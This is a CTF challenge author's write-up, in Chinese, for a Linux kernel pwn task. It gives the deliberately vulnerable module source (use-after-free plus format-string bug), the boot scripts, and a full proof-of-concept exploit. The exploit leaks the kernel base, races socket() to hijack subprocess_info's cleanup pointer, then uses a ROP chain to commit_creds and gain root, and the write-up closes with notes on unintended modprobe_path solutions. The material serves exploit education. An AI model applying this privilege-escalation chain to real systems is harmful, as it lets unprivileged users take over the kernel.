SCTF flying_kernel 出题总结
前言
SCTF中一道linux kernel pwn的出题思路及利用方法,附赛后复盘
赛时情况
题目在早上九点第一波放出,在晚上6点由AAA战队取得一血,直到比赛结束一共有7支战队做出此题,作为一个kernel初学者很庆幸没被打烂orz(虽然被各种非预期打爆了,还是需要继续努力
出题思路
考点主要来源于CVE-2016-6187 的一篇利用文章,原文链接https://bbs.pediy.com/thread-217540.htm
简单概括就是使用以下语句
socket(22, AF_INET, 0);
会触发 struct subprocess_info 这个对象的分配,此结构为0x60大小,定义如下:
struct subprocess_info { struct work_struct work; struct completion *complete; const char *path; char **argv; char **envp; struct file *file; int wait; int retval; pid_t pid; int (*init)(struct subprocess_info *info, struct cred *new); void (*cleanup)(struct subprocess_info *info); void *data;} __randomize_layout;
此对象在分配时最终会调用cleanup函数,如果我们能在分配过程中把cleanup指针劫持为我们的gadget,就能控制RIP,劫持的方法显而易见,即条件竞争
题目源码
先给出这次题目的模块源码
#include #include #include #include #include #include #include #include #include #include static char *sctf_buf = NULL;static struct class *devClass;static struct cdev cdev;static dev_t seven_dev_no; static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos); static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg); static int seven_open(struct inode *i, struct file *f); static int seven_close(struct inode *i, struct file *f); static struct file_operations seven_fops = { .owner = THIS_MODULE, .open = seven_open, .release = seven_close, .write = seven_write, .unlocked_ioctl = seven_ioctl }; static int __init seven_init(void){ if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0) { return -1; } if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL) { unregister_chrdev_region(seven_dev_no, 1); return -1; } if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL) { class_destroy(devClass); unregister_chrdev_region(seven_dev_no, 1); return -1; } cdev_init(&cdev, &seven_fops); if (cdev_add(&cdev, seven_dev_no, 1) == -1) { device_destroy(devClass, seven_dev_no); class_destroy(devClass); unregister_chrdev_region(seven_dev_no, 1); return -1; } return 0;} static void __exit seven_exit(void){ unregister_chrdev_region(seven_dev_no, 1); cdev_del(&cdev);} ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos){ if (sctf_buf) { if (len <= 0x80) { printk(KERN_INFO "write()" ); u_int64_t offset = 0x80 - len; copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len); } } else { printk("What are you doing?"); } return len;} // ioctl函数命令控制long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size){ int retval = 0; switch (cmd) { case 0x5555://add if (size == 0x80) { sctf_buf = (char *)kmalloc(size,GFP_KERNEL); printk("Add Success!"); } else { printk("It's not that simple"); } break; case 0x6666: if (sctf_buf) { kfree(sctf_buf); } else { printk("What are you doing?"); retval = -1; } break; case 0x7777: if (sctf_buf) { printk(sctf_buf); } break; default: retval = -1; break; } return retval;} static int seven_open(struct inode *i, struct file *f){ printk(KERN_INFO "open()"); return 0;} static int seven_close(struct inode *i, struct file *f){ printk(KERN_INFO "close()"); return 0;} module_init(seven_init);module_exit(seven_exit); MODULE_LICENSE("GPL");
ioctl
在自定义的ioctl函数中,设置了参数2为command,有三种情况:
- command = 0x5555时:调用kmalloc函数申请一个0x80的chunk
- command = 0x6666时:free chunk但指针没清空
- command = 0x7777时:调用printk输出,存在格式化字符串漏洞
一共两个漏洞点:0x80的UAF,和一个格式化字符串漏洞
write
写函数只能写最多0x80大小,但能指定写的大小,且重点是能从后往前写
init
内核的init如下:
#!/bin/sh mkdir tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devmount -t tmpfs none /tmp exec 0exec 1>/dev/consoleexec 2>/dev/console echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" insmod /flying.kochmod 666 /dev/sevenchmod 700 /flagecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictchmod 400 /proc/kallsyms poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/sh umount /procumount /sysumount /tmp poweroff -d 0 -f
主要设置tmp目录用来上传文件
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
这里也限制泄露内核基址
qemu
qemu的启动脚本如下:
#!/bin/shqemu-system-x86_64 \ -m 128M \ -kernel /home/ctf/bzImage \ -initrd /home/ctf/rootfs.img \ -monitor /dev/null \ -append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \ -cpu kvm64,+smep \ -smp cores=2,threads=2 \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic
多核,且开了smep保护,关掉了smap保护,且内核默认有kpti和kaslr保护,所以相当于开启了kpti和kaslr
利用
因为漏洞点很明显,主要讲讲怎么利用漏洞。
首先是泄露的问题,由于存在一个格式化字符串漏洞,所以可以直接利用它来leak kernel_base
具体代码如下:
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80); show(fd); scanf("%llx",&magic1);
注意这里不能使用%p,否则内核会检测到信息泄漏,得不到正确的结果。
然后接下来就是0x80的UAF利用,由于开启了freelist随机化和Harden_freelist保护,理论上来说,因为题目条件的限制,想直接劫持next指针实现任意地址写几乎是不可能的,所以这里不是考察的点,但这里存在了非预期,后文复盘会提到。
注意到0x80的分配用的是 kmalloc-128,而 struct subprocess_info 此对象的分配也是使用的kmalloc-128,由于题目存在UAF,所以当此对象落在我们能控制的chunk上时,就可以通过条件竞争劫持cleanup的指针,主要流程为:一个线程不断的调用socket(22, AF_INET, 0) 另一个线程则循环往chunk写数据,覆盖cleanup指针为我们的gadget。
pthread_t th;pthread_create(&th, NULL, race, (void*)buf);while(1) { usleep(1); socket(22, AF_INET, 0);// getshell(); if (race_flag) break; } void *race(void *arg) { unsigned long *info = (unsigned long*)arg; info[0] = (u_int64_t)xchg_eax_esp; // cleanup while(1) { write(fd, (void*)info,0x20); if (race_flag) break; } }
这里很重要的一点是我们的覆盖要确保只覆盖cleanup指针,也就是写0x20字节,从0x60往后写,如果覆盖多了数据,会在ROP返回到用户态后死在使用fs或者syscall的地方,原因似乎有多种,有些玄学,很多师傅都卡在这里,在此磕头了orz,但我在write函数定义了可以从后面开始写的行为其实也带有提示的意味,不然会有点多余。
我们劫持的gadget要实现的功能是控制栈落在可控区域,这样我们就可以通过栈迁移,从而在事先布置好的ROP链上执行,因为当控制RIP时,RAX的值为此时gadget的地址,所以我们通过以下gadget控制栈
xchg eax, esp; ret;
然后ROP链的功能就是提权+返回用户态
u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff); printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr); char* fake_stack = NULL; //先装载页面 if((fake_stack = mmap( (char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐 0x2000, // length PROT_READ | PROT_WRITE, // prot MAP_PRIVATE | MAP_ANONYMOUS, // flags -1, // fd 0) ) == MAP_FAILED) perror("mmap"); printf("[+] fake_stack addr: %p", fake_stack); fake_stack[0]=0; u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr; int index = 0; hijacked_stack_ptr[index++] = pop_rdi; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = prepare_kernel_cred; hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = commit_creds; hijacked_stack_ptr[index++] = swapgs; hijacked_stack_ptr[index++] = iretq; hijacked_stack_ptr[index++] = (u_int64_t)getshell; hijacked_stack_ptr[index++] = user_cs; hijacked_stack_ptr[index++] = user_rflags; hijacked_stack_ptr[index++] = user_rsp; hijacked_stack_ptr[index++] = user_ss;
因为开启了kpti的缘故,所以我们实际上是通过在用户态注册 signal handler 来执行位于用户态的代码
signal(SIGSEGV, getshell);void getshell(){ if(getuid() == 0) { race_flag = 1; puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!"); system("/bin/sh"); } else { puts("[!] failed!"); }}
至此一个完整的提权过程完毕,以下是poc完整代码:
#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;u_int64_t kernel_base;u_int64_t raw_kernel;u_int64_t pop_rdi; // pop rdi; ret;u_int64_t mov_cr4_rdi; // mov cr4, rdi; pop rbp; ret;u_int64_t prepare_kernel_cred;u_int64_t commit_creds;u_int64_t mov_rdi_rsi; // mov qword ptr [rdi], rsi; ret;u_int64_t pop_rsi ; // pop rsi;retu_int64_t hook_prctl ;u_int64_t poweroff_work_func;u_int64_t power_cmd ;u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;u_int64_t swapgs ; // swagps;retu_int64_t iretq ;u_int64_t test_rbx_jne_pop_pop_ret;long long int magic1; struct DATA{ char* buf;}; void add(int fd){ ioctl(fd, 0x5555, 0x80);} void delete(int fd){ ioctl(fd, 0x6666, 0);} void show(int fd){ ioctl(fd, 0x7777, 0);} u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;void save_status(){ __asm__ (".intel_syntax noprefix"); __asm__ volatile ( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags" ); printf("[+] got user stat");} u_int64_t raw_kernel;int race_flag = 0; void getshell(){ if(getuid() == 0) { race_flag = 1; puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!"); system("/bin/sh"); } else { puts("[!] failed!"); }} static int fd = NULL;u_int64_t xchg_eax_esp = NULL;void *race(void *arg) { unsigned long *info = (unsigned long*)arg; info[0] = (u_int64_t)xchg_eax_esp; // cleanup // stack pivot u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff); printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr); char* fake_stack = NULL; //先装载页面 if((fake_stack = mmap( (char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐 0x2000, // length PROT_READ | PROT_WRITE, // prot MAP_PRIVATE | MAP_ANONYMOUS, // flags -1, // fd 0) ) == MAP_FAILED) perror("mmap"); printf("[+] fake_stack addr: %p", fake_stack); fake_stack[0]=0; u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr; int index = 0; hijacked_stack_ptr[index++] = pop_rdi; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = prepare_kernel_cred; hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = commit_creds; hijacked_stack_ptr[index++] = swapgs; hijacked_stack_ptr[index++] = iretq; hijacked_stack_ptr[index++] = (u_int64_t)getshell; hijacked_stack_ptr[index++] = user_cs; hijacked_stack_ptr[index++] = user_rflags; hijacked_stack_ptr[index++] = user_rsp; hijacked_stack_ptr[index++] = user_ss; while(1) { write(fd, (void*)info,0x20); if (race_flag) break; } return NULL;} int main(){ // 0xffffffff81011cb0:xchg eax,esp u_int64_t kernel_addr,onegadget,target; signal(SIGSEGV, getshell); unsigned long buf[0x200]; memset(buf, 0, 0x1000); fd = open("/dev/seven", O_RDWR); printf("fd: %d", fd); if (fd < 0) { return -1; } add(fd); write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80); show(fd); show(fd); scanf("%llx",&magic1); raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE; printf("[+] raw_kernel addr : 0x%16llx", raw_kernel); xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret; pop_rdi = 0xffffffff810016e9+ raw_kernel; // pop rdi; ret; mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel; // mov cr4, rdi; pop rbp; ret; prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel; commit_creds = 0xFFFFFFFF8108C360+ raw_kernel; mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel; // mov qword ptr [rdi], rsi; ret; pop_rsi = 0xffffffff811cad0d + raw_kernel; // pop rsi;ret hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel; poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel; power_cmd = 0xFFFFFFFF82663440 + raw_kernel; mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi swapgs = 0xffffffff81c00f58 + raw_kernel; // swagps;ret iretq = 0xffffffff81024f92 + raw_kernel; test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel; printf("[+] xchg addr :b *0x%16llx", xchg_eax_esp); save_status(); delete(fd); socket(22, AF_INET, 0); pthread_t th; pthread_create(&th, NULL, race, (void*)buf); while(1) { usleep(1); socket(22, AF_INET, 0);// getshell(); if (race_flag) break; } return 0;}
编译语句如下
gcc poc.c --static -masm=intel -lpthread -o poc
复盘
通过询问解题人和看赛后wp了解到几种解法。
预期中的非预期
- 由于random值其实是固定的,泄露出来后劫持freelist打modprobe_path
- 由于卡在返回用户态后死在fs或者syscall的地方,所以直接在内核中orw,或者写modprobe_path
第一点由于泄露random值这一点很麻烦,且远程和本地不同,在出题的时候想到过可以这样打,但由于预期解比这个简单,本意也不是想打这里,毕竟用户态已经有libc大师这种说法,不想再来个slub大师(,这样个人感觉就挺没意思了
纯非预期
wm战队的思路orz
